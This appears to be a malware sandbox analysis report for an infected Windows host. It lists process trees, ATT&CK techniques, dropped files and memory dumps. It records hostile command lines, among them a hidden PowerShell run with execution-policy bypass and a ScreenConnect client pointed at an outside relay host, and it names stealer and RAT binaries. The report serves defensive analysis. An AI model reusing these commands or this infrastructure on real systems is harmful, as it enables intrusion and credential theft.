-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --proxy-server="217.65.2.14:3333" --disable-http2 --use-spdy=off --disable-quic2⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffcd444cc40,0x7ffcd444cc4c,0x7ffcd444cc583⤵
-
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"2⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"3⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1996 -parentBuildID 20240401114208 -prefsHandle 1912 -prefMapHandle 1904 -prefsLen 23680 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {5423f88f-4bac-4294-b508-818935e90233} 8036 "\\.\pipe\gecko-crash-server-pipe.8036" gpu4⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2440 -parentBuildID 20240401114208 -prefsHandle 2432 -prefMapHandle 2428 -prefsLen 23716 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {18d9555d-e290-4324-8a0a-a5c4b76465e3} 8036 "\\.\pipe\gecko-crash-server-pipe.8036" socket4⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2916 -childID 1 -isForBrowser -prefsHandle 3280 -prefMapHandle 2764 -prefsLen 23857 -prefMapSize 244658 -jsInitHandle 944 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4299a84c-ba27-4570-b643-865d2fd58877} 8036 "\\.\pipe\gecko-crash-server-pipe.8036" tab4⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3804 -childID 2 -isForBrowser -prefsHandle 3796 -prefMapHandle 3792 -prefsLen 29090 -prefMapSize 244658 -jsInitHandle 944 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d12d21da-2faa-4410-a842-1fbc97d87268} 8036 "\\.\pipe\gecko-crash-server-pipe.8036" tab4⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4904 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 5148 -prefMapHandle 5144 -prefsLen 29278 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {23ad3f79-5475-4178-8356-a5fe07357a4a} 8036 "\\.\pipe\gecko-crash-server-pipe.8036" utility4⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5152 -childID 3 -isForBrowser -prefsHandle 5176 -prefMapHandle 5172 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 944 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {68a7732a-137c-490e-8307-2de252dbc2b1} 8036 "\\.\pipe\gecko-crash-server-pipe.8036" tab4⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5196 -childID 4 -isForBrowser -prefsHandle 5188 -prefMapHandle 5184 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 944 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7e52ffe0-35dc-4feb-9b73-93495bbb73a8} 8036 "\\.\pipe\gecko-crash-server-pipe.8036" tab4⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5644 -childID 5 -isForBrowser -prefsHandle 5648 -prefMapHandle 5652 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 944 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e9f9f77f-2ee7-4c0c-adba-be7c1283ddfe} 8036 "\\.\pipe\gecko-crash-server-pipe.8036" tab4⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6016 -childID 6 -isForBrowser -prefsHandle 6004 -prefMapHandle 3912 -prefsLen 27211 -prefMapSize 244658 -jsInitHandle 944 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d48ee995-39b4-46bb-b1cf-327f3d77fdaa} 8036 "\\.\pipe\gecko-crash-server-pipe.8036" tab4⤵
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default --disable-http2 --use-spdy=off --disable-quic2⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffcc8d246f8,0x7ffcc8d24708,0x7ffcc8d247183⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2128,12151661553373442966,16237564814661975462,131072 --lang=en-US --service-sandbox-type=none --disable-quic --disable-http2 --mojo-platform-channel-handle=2140 /prefetch:33⤵
-
-
-
C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\app.vbs" "C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\app.ps1"1⤵
- Checks computer location settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\app.ps1"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\epix0yhu\epix0yhu.cmdline"3⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES99FC.tmp" "c:\Users\Admin\AppData\Local\Temp\epix0yhu\CSC5B5889F3445F4954B999EBF6DB8324F9.TMP"4⤵
-
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding A839E691BD8979A3A3A71E21D1CA56C1 C2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI48D.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_241108421 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
- Loads dropped DLL
-
-
-
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 212FE333D7344315BD06A233A555D5C02⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 0B04FBE9596EAFD5DDD63D2FC8D00340 E Global\MSI00002⤵
- Loads dropped DLL
- Drops file in Windows directory
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
-
C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.ClientService.exe"C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=fnback9636.site&p=8041&s=7b9023e7-b753-4a6e-a314-65dd4517d3a9&k=BgIAAACkAABSU0ExAAgAAAEAAQA9jYIrttwwC%2fVG8pSgng7hOaOxKOcglvdFFtkWeOWtX8fqsZgIKfVrWuN3su1CgiFbvlCYAExDue6opAYsm4ZcU%2fXlAy9prKBw8dHgYIr5MKTVcZ179o9h8%2f%2bnJY4jOeDKVmcK57L%2fEAFTuKdJ4YjAwIneAffDLjer1Vf%2banxJ%2b%2fQG9GXKFTsCbQPC0DPoXGR4nhNlJsUIT37D9pxvtL82%2fbs5OFG6ebhQ2MBDFYY21oOxjFRMMIWi2Owda95WULvij7v9vchg4Zacetd90xJGtyFFMUL53dS%2fRJ%2bjUcnwVvLNyKx3HwIoiBSP6LM2Nm5EN5LWd0R%2b3hStk2Qltk%2bh"1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
-
C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.WindowsClient.exe" "RunRole" "a14bc805-a396-4ae5-b54f-5936faf02272" "User"2⤵
- Executes dropped EXE
-
-
C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.WindowsClient.exe" "RunRole" "ddfa9453-9384-442c-a35c-e5f3d7a31447" "System"2⤵
- Executes dropped EXE
- Checks processor information in registry
- Modifies data under HKEY_USERS
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 2228 -ip 22281⤵
-
C:\Users\Admin\AppData\Roaming\XClient.exeC:\Users\Admin\AppData\Roaming\XClient.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\XClient.exeC:\Users\Admin\AppData\Roaming\XClient.exe1⤵
-
C:\Users\Admin\Windows.exeC:\Users\Admin\Windows.exe1⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2924 -ip 29241⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 6236 -ip 62361⤵
-
C:\Users\Admin\AppData\Roaming\XClient.exeC:\Users\Admin\AppData\Roaming\XClient.exe1⤵
-
C:\Users\Admin\Windows.exeC:\Users\Admin\Windows.exe1⤵
-
C:\Windows\system32\wscript.EXEC:\Windows\system32\wscript.EXE //B "C:\Users\Admin\AppData\Local\SkySync Technologies\SkySync.js"1⤵
-
C:\Users\Admin\AppData\Local\SkySync Technologies\SkySync.scr"C:\Users\Admin\AppData\Local\SkySync Technologies\SkySync.scr" "C:\Users\Admin\AppData\Local\SkySync Technologies\e"2⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 7280 -ip 72801⤵
-
C:\Users\Admin\AppData\Roaming\OneDrive.exeC:\Users\Admin\AppData\Roaming\OneDrive.exe1⤵
-
C:\Windows\system32\cmd.execmd /c copy "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\Admin\AppData\Local\Temp\Updater.vbs.exe" /Y1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 5456 -ip 54561⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 5456 -ip 54561⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 5456 -ip 54561⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 5456 -ip 54561⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 5456 -ip 54561⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 5456 -ip 54561⤵
-
C:\Users\Admin\AppData\Roaming\XClient.exeC:\Users\Admin\AppData\Roaming\XClient.exe1⤵
-
C:\Users\Admin\AppData\Roaming\OneDrive.exeC:\Users\Admin\AppData\Roaming\OneDrive.exe1⤵
-
C:\ProgramData\dfin\blwld.exeC:\ProgramData\dfin\blwld.exe1⤵
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
2JavaScript
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Persistence
Boot or Logon Autostart Execution
4Authentication Package
1Registry Run Keys / Startup Folder
3Create or Modify System Process
3Windows Service
3Event Triggered Execution
2Component Object Model Hijacking
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
4Authentication Package
1Registry Run Keys / Startup Folder
3Create or Modify System Process
3Windows Service
3Event Triggered Execution
2Component Object Model Hijacking
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
4Disable or Modify System Firewall
1Disable or Modify Tools
2Modify Registry
7Subvert Trust Controls
1Install Root Certificate
1Virtualization/Sandbox Evasion
2Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
4Credentials In Files
4Discovery
Browser Information Discovery
1Peripheral Device Discovery
2Process Discovery
1Query Registry
10System Information Discovery
7System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Wi-Fi Discovery
1Virtualization/Sandbox Evasion
2Replay Monitor
Loading Replay Monitor...
Downloads
e5f508b.rbs
Synaptics.exe
chrome.dll
mozglue.dll
BrowsingTopicsState
the-real-index
messages.json
dasherSettingSchema.json
Network Persistent State
SCT Auditing Pending Reports
TransportSecurity
TransportSecurity
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Secure Preferences
the-real-index
Local State
Local State
settings.dat
settings.dat
settings.dat
the-real-index
Network Persistent State
Preferences
Preferences
Preferences
c085077c-a6c3-4f47-a20a-8a8fa8ce890d.tmp
CURRENT
CURRENT
Local State
Local State
winApps.dll
activity-stream.discovery_stream.json
ABD634484EBC6043D0302B090BB04F2A504AE1E6
F03FC436C2079D332A4340DB752FCBE3B24BCEB5
webext.sc.lz4
16766554.exe
1739817126.exe
192095840.exe
2055624291.exe
2207827495.exe
2411728035.exe
2598011053.exe
291118258.exe
2921318686.exe
3A5.tmp.zx.exe
Plates.pif
c
9FB5.tmp.exe
Agencies
B99B.tmp.x.exe
Baby
Bar
Bull
Care
Clearance
Continental
Denmark
Explorer
Firmware
Gay
Hammer
Hop
Invalid
January
Johnson
July
Ought
Purse
fseawd.exe
Ruled
Scott.cmd
Situated
Sometimes.cmd
Suitable
Tmp6232.tmp
Treat
Weight
West
Wisdom
INSTALLER
WHEEL
Conakry
Djibouti
Kigali
Lagos
Curacao
Toronto
Greenwich
London
Oslo
Skopje
PRC
Wallis
Yap
UCT
__PSScriptPolicyTest_z4y2bez5.0kn.ps1
System.dll
modern-wizard.bmp
nsDialogs.dll
5b0d8ffb-5bf0-4b97-99ce-6fb3a49982bc.tmp
messages.json
tmp1F46.tmp.dat
tmp2065.tmp.dat
tmp20C5.tmp.dat
tmp550D.tmp
tmpaddon
tmpaddon-1
vgtkki.exe
zjeibh.exe
Tempcrekhzdywf.db
Tempcrjprvrsnk.db
cached-microdesc-consensus.tmp
cached-microdescs.new
tor-real.exe
2v8fcEymdJ.exe
AlternateServices.bin
AlternateServices.bin
data.safe.tmp
data.safe.tmp
data.safe.tmp
4e5c7c92-21d4-4af1-b337-18b4769f5ac8
74e4e31f-5a93-406a-a7f8-0dd5c6460953
9573a7aa-71c8-4dd2-a4c7-b0ee950428f0
gmpopenh264.dll
gmpopenh264.info
manifest.json
widevinecdm.dll
prefs-1.js
prefs-1.js
prefs-1.js
prefs.js
prefs.js
prefs.js
recovery.baklz4
recovery.baklz4
P1zYHOsboz.exe
dWOsvTqRo2.exe
wkO3J0TIC0.exe
4363463463464363463463463.exe
._cache_aspnet_regiis.exe
0b44ippu.exe
1.exe
25072023.exe
25072023.exe
7777.exe
Client-built.exe
Client.exe
Documents.exe
Dtrade_v1.3.6.exe
InstallSetup.exe
PkContent.exe
PkContent.exe
RuntimeBroker.exe
Server.exe
Solara_Protect.exe
Unit.exe
XClient.exe
a.exe
build2.exe
build_2024-07-24_23-16.exe
c1.exe
c2.exe
cdb.exe
file.exe
freedom.exe
fusca%20game.exe
langla.exe
loader_5879465914.exe
maza-0.16.3-win64-setup-unsigned.exe
njrat.exe
payload.exe
pei.exe
peinf.exe
runtime.exe
shopfree.exe
stealc_valenciga.exe
svchost.exe
svchost.exe
twztl.exe
v7wa24td.exe
zxcv.exe
e5f508c.msi
tl5rbhc1.newcfg
user.config
sysnldcvmr.exe
memory/512-2028-0x0000000000D90000-0x0000000000EEE000-memory.dmp
memory/1072-1282-0x00000000004A0000-0x00000000004B2000-memory.dmp
memory/1072-1283-0x0000000005650000-0x0000000005BF4000-memory.dmp
memory/1072-1284-0x0000000005150000-0x00000000051E2000-memory.dmp
memory/1152-1948-0x0000000000E50000-0x0000000000EA2000-memory.dmp
memory/1472-1818-0x00000000009F0000-0x0000000000A06000-memory.dmp
memory/2168-2016-0x0000000007C90000-0x0000000007CA4000-memory.dmp
memory/2168-2004-0x000000006D210000-0x000000006D25C000-memory.dmp
memory/2168-1994-0x0000000006110000-0x0000000006464000-memory.dmp
memory/2168-2014-0x0000000007910000-0x00000000079B3000-memory.dmp
memory/2168-2015-0x0000000007C60000-0x0000000007C71000-memory.dmp
memory/2212-1730-0x0000000000030000-0x00000000000C6000-memory.dmp
memory/2212-1731-0x0000000002270000-0x00000000022A6000-memory.dmp
memory/2212-1732-0x000000001AFB0000-0x000000001B03C000-memory.dmp
memory/2212-1733-0x000000001B1F0000-0x000000001B39A000-memory.dmp
memory/2212-1734-0x000000001B530000-0x000000001B6B6000-memory.dmp
memory/2212-1739-0x00000000009A0000-0x00000000009B8000-memory.dmp
memory/2212-1740-0x00000000022D0000-0x00000000022E8000-memory.dmp
memory/2232-1494-0x00000000004A0000-0x0000000000524000-memory.dmp
memory/2540-1516-0x0000000005430000-0x000000000545E000-memory.dmp
memory/2540-1518-0x0000000005460000-0x000000000546A000-memory.dmp
memory/2540-1522-0x00000000057A0000-0x000000000594A000-memory.dmp
memory/2540-1520-0x0000000005560000-0x00000000055EC000-memory.dmp
memory/2940-1318-0x0000000006580000-0x00000000065BC000-memory.dmp
memory/2940-1317-0x0000000006520000-0x0000000006532000-memory.dmp
memory/2940-1290-0x0000000000370000-0x00000000003C2000-memory.dmp
memory/2940-1291-0x0000000004C90000-0x0000000004C9A000-memory.dmp
memory/2940-1308-0x00000000059E0000-0x0000000005A56000-memory.dmp
memory/2940-1310-0x0000000006310000-0x000000000632E000-memory.dmp
memory/2940-1313-0x0000000006A90000-0x00000000070A8000-memory.dmp
memory/2940-1319-0x00000000066F0000-0x000000000673C000-memory.dmp
memory/2940-1314-0x00000000065E0000-0x00000000066EA000-memory.dmp
memory/3444-1379-0x0000000028F20000-0x0000000029616000-memory.dmp
memory/3444-1378-0x000000000F9F0000-0x00000000100E2000-memory.dmp
memory/3460-6-0x0000000004960000-0x00000000049FC000-memory.dmp
memory/3460-999-0x0000000075330000-0x0000000075AE0000-memory.dmp
memory/3460-5-0x0000000000070000-0x0000000000078000-memory.dmp
memory/3460-894-0x000000007533E000-0x000000007533F000-memory.dmp
memory/3460-4-0x000000007533E000-0x000000007533F000-memory.dmp
memory/3460-7-0x0000000075330000-0x0000000075AE0000-memory.dmp
memory/3484-1499-0x0000000000400000-0x0000000000C62000-memory.dmp
memory/3620-1417-0x0000000000FE0000-0x0000000000FF8000-memory.dmp
memory/3792-1358-0x00000288D9AC0000-0x00000288D9AE2000-memory.dmp
memory/3792-1376-0x00000288D9C30000-0x00000288D9C38000-memory.dmp
memory/4040-1483-0x00000000037E0000-0x0000000003802000-memory.dmp
memory/4040-1480-0x00000000035F0000-0x00000000035F8000-memory.dmp
memory/4040-1482-0x0000000005BF0000-0x0000000005C7C000-memory.dmp
memory/4040-1481-0x0000000005FE0000-0x00000000062D0000-memory.dmp
memory/4040-1484-0x0000000005CE0000-0x0000000005E8A000-memory.dmp
memory/4128-1827-0x0000000001110000-0x0000000001192000-memory.dmp
memory/4128-1931-0x0000000001110000-0x0000000001192000-memory.dmp
memory/4128-1928-0x0000000001110000-0x0000000001192000-memory.dmp
memory/4128-1830-0x0000000001110000-0x0000000001192000-memory.dmp
memory/4128-1466-0x0000000001110000-0x0000000001192000-memory.dmp
memory/4128-1468-0x0000000001110000-0x0000000001192000-memory.dmp
memory/4128-1467-0x0000000001110000-0x0000000001192000-memory.dmp
memory/4128-1469-0x0000000001110000-0x0000000001192000-memory.dmp
memory/4128-1683-0x0000000001110000-0x0000000001192000-memory.dmp
memory/4128-1682-0x0000000001110000-0x0000000001192000-memory.dmp
memory/4204-1399-0x0000000000E40000-0x0000000000EA8000-memory.dmp
memory/4820-1235-0x00000000053D0000-0x00000000056D0000-memory.dmp
memory/4820-1234-0x00000000053D0000-0x00000000056D0000-memory.dmp
memory/4820-1236-0x00000000053D0000-0x00000000056D0000-memory.dmp
memory/4820-1237-0x00000000053D0000-0x00000000056D0000-memory.dmp
memory/4820-1238-0x00000000053D0000-0x00000000056D0000-memory.dmp
memory/4820-1239-0x00000000053D0000-0x00000000056D0000-memory.dmp
memory/4820-1259-0x00000000053D0000-0x00000000056D0000-memory.dmp
memory/4820-1260-0x00000000053D0000-0x00000000056D0000-memory.dmp
memory/4820-1545-0x000000001C2A0000-0x000000001C352000-memory.dmp
memory/4820-1544-0x000000001C190000-0x000000001C1E0000-memory.dmp
memory/4820-5014-0x000000001CFD0000-0x000000001D4F8000-memory.dmp
memory/5124-1647-0x0000000002120000-0x000000000213C000-memory.dmp
memory/5124-1646-0x0000000000400000-0x0000000000416000-memory.dmp
memory/5124-1795-0x0000000002120000-0x000000000213C000-memory.dmp
memory/5428-1580-0x0000000006080000-0x00000000060E6000-memory.dmp
memory/5428-1618-0x0000000007D00000-0x0000000007D08000-memory.dmp
memory/5428-1590-0x00000000066B0000-0x00000000066CE000-memory.dmp
memory/5428-1598-0x000000006D210000-0x000000006D25C000-memory.dmp
memory/5428-1585-0x00000000062D0000-0x0000000006624000-memory.dmp
memory/5428-1719-0x0000000001C90000-0x0000000001CA8000-memory.dmp
memory/5428-1723-0x00000000043F0000-0x0000000004440000-memory.dmp
memory/5428-1597-0x0000000006C60000-0x0000000006C92000-memory.dmp
memory/5428-1609-0x00000000078F0000-0x0000000007993000-memory.dmp
memory/5428-1726-0x0000000004440000-0x0000000004476000-memory.dmp
memory/5428-1727-0x0000000004480000-0x00000000044C1000-memory.dmp
memory/5428-1608-0x0000000006C30000-0x0000000006C4E000-memory.dmp
memory/5428-1611-0x00000000079F0000-0x0000000007A0A000-memory.dmp
memory/5428-1728-0x0000000004910000-0x00000000049E2000-memory.dmp
memory/5428-1578-0x00000000061C0000-0x00000000061E2000-memory.dmp
memory/5428-1617-0x0000000007D20000-0x0000000007D3A000-memory.dmp
memory/5428-1579-0x0000000006260000-0x00000000062C6000-memory.dmp
memory/5428-1566-0x00000000057B0000-0x0000000005DD8000-memory.dmp
memory/5428-1610-0x0000000008030000-0x00000000086AA000-memory.dmp
memory/5428-1565-0x00000000030E0000-0x0000000003116000-memory.dmp
memory/5428-1615-0x0000000007C20000-0x0000000007C2E000-memory.dmp
memory/5428-1616-0x0000000007C30000-0x0000000007C44000-memory.dmp
memory/5428-1613-0x0000000007C60000-0x0000000007CF6000-memory.dmp
memory/5428-1612-0x0000000007A60000-0x0000000007A6A000-memory.dmp
memory/5428-1614-0x0000000007BF0000-0x0000000007C01000-memory.dmp
memory/5432-1978-0x0000000140000000-0x0000000140278000-memory.dmp
memory/5524-1684-0x0000000000400000-0x0000000000C37000-memory.dmp
memory/5628-5319-0x0000000023820000-0x000000002382E000-memory.dmp
memory/5628-5280-0x000000001DC90000-0x000000001DD4A000-memory.dmp
memory/5628-5281-0x000000001CB50000-0x000000001CB6C000-memory.dmp
memory/5628-5285-0x000000001E250000-0x000000001EA28000-memory.dmp
memory/5628-5267-0x00000000007B0000-0x00000000010BC000-memory.dmp
memory/5628-5270-0x000000001CEE0000-0x000000001D2C4000-memory.dmp
memory/5628-5318-0x0000000023850000-0x0000000023888000-memory.dmp
memory/5628-5330-0x00000000286B0000-0x00000000286B8000-memory.dmp
memory/5628-5271-0x000000001D2C0000-0x000000001D7A0000-memory.dmp
memory/5784-1619-0x0000000061E00000-0x0000000061EF3000-memory.dmp
memory/5784-1595-0x00000000008D0000-0x0000000000B13000-memory.dmp
memory/5784-1789-0x00000000008D0000-0x0000000000B13000-memory.dmp
memory/5852-5162-0x00000000001D0000-0x00000000004F4000-memory.dmp
memory/5924-4925-0x0000000005570000-0x000000000560E000-memory.dmp
memory/5924-4926-0x0000000005610000-0x000000000565C000-memory.dmp
memory/5924-2039-0x0000000005370000-0x000000000547E000-memory.dmp
memory/5924-2038-0x0000000000400000-0x00000000004DA000-memory.dmp
memory/5932-1910-0x0000000000400000-0x0000000000625000-memory.dmp
memory/6360-3478-0x00000000002F0000-0x000000000030E000-memory.dmp
memory/6440-4951-0x0000000000CC0000-0x0000000000FBB000-memory.dmp
memory/6440-4941-0x0000000000CC0000-0x0000000000FBB000-memory.dmp
memory/6632-4977-0x00000000001E0000-0x00000000001E6000-memory.dmp
memory/7056-5284-0x0000000000A20000-0x0000000000D44000-memory.dmp